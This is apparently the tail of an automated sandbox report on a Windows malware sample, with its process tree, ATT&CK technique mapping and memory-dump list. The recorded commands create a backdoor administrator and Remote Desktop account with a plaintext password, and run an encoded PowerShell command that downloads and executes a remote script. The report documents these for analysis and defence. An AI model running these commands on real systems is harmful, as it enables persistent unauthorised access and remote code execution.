  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4860
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 9aDQknBl /add
    3⤵
    PID:4880

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:4900
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4940
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:4960

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:4980
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5020
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
    3⤵
    PID:5040

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:5060
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  PID:5100
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:4100

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 9aDQknBl
1⤵
PID:4120
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 9aDQknBl
  2⤵
  PID:1536
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 9aDQknBl
    3⤵
    PID:2008

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:4144
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  PID:4180

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:4256
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  PID:2252

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:4088
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:4296
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:4292

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Bootkit

T1067

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/680-114-0x0000000000490000-0x0000000000491000-memory.dmp

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memory/680-116-0x0000000002A10000-0x0000000002A12000-memory.dmp

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memory/1684-140-0x0000000003030000-0x0000000003032000-memory.dmp

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memory/1784-317-0x0000015FFD9D0000-0x0000015FFD9D2000-memory.dmp

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memory/1784-318-0x0000015FFD9D3000-0x0000015FFD9D5000-memory.dmp

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memory/1784-319-0x0000015FFD9D6000-0x0000015FFD9D8000-memory.dmp

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memory/1784-328-0x0000015FFD9D8000-0x0000015FFD9DA000-memory.dmp

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memory/1816-177-0x000002A92EB80000-0x000002A92EB81000-memory.dmp

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memory/1816-159-0x000002A915320000-0x000002A915322000-memory.dmp

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memory/1816-161-0x000002A915323000-0x000002A915325000-memory.dmp

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memory/1816-162-0x000002A915326000-0x000002A915328000-memory.dmp

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memory/1816-152-0x000002A92E290000-0x000002A92E291000-memory.dmp

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memory/1816-147-0x000002A92E0E0000-0x000002A92E0E1000-memory.dmp

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memory/1816-191-0x000002A915328000-0x000002A915329000-memory.dmp

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memory/1816-169-0x000002A92E240000-0x000002A92E241000-memory.dmp

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memory/1816-176-0x000002A92E7F0000-0x000002A92E7F1000-memory.dmp

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memory/1988-277-0x0000018CF2586000-0x0000018CF2588000-memory.dmp

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memory/1988-274-0x0000018CF2580000-0x0000018CF2582000-memory.dmp

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memory/1988-275-0x0000018CF2583000-0x0000018CF2585000-memory.dmp

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memory/1988-279-0x0000018CF2588000-0x0000018CF258A000-memory.dmp

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memory/2488-122-0x0000000003010000-0x0000000003011000-memory.dmp

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memory/2488-123-0x0000000005800000-0x0000000005831000-memory.dmp

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memory/2488-120-0x00000000008E0000-0x00000000008E1000-memory.dmp

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memory/3304-132-0x0000017AF5913000-0x0000017AF5915000-memory.dmp

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memory/3304-131-0x0000017AF5910000-0x0000017AF5912000-memory.dmp

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memory/3304-129-0x0000017AF7BF0000-0x0000017AF7E9A000-memory.dmp

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memory/3304-134-0x0000017AF5916000-0x0000017AF5917000-memory.dmp

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memory/3304-133-0x0000017AF5915000-0x0000017AF5916000-memory.dmp

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memory/3844-193-0x0000024A39F73000-0x0000024A39F75000-memory.dmp

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memory/3844-228-0x0000024A39F78000-0x0000024A39F7A000-memory.dmp

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memory/3844-192-0x0000024A39F70000-0x0000024A39F72000-memory.dmp

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memory/3844-227-0x0000024A39F76000-0x0000024A39F78000-memory.dmp

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memory/4292-420-0x000001EBE9250000-0x000001EBE9252000-memory.dmp

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memory/4292-421-0x000001EBE9253000-0x000001EBE9255000-memory.dmp

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memory/4292-425-0x000001EBE9256000-0x000001EBE9258000-memory.dmp

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memory/4292-477-0x000001EBE9258000-0x000001EBE9259000-memory.dmp

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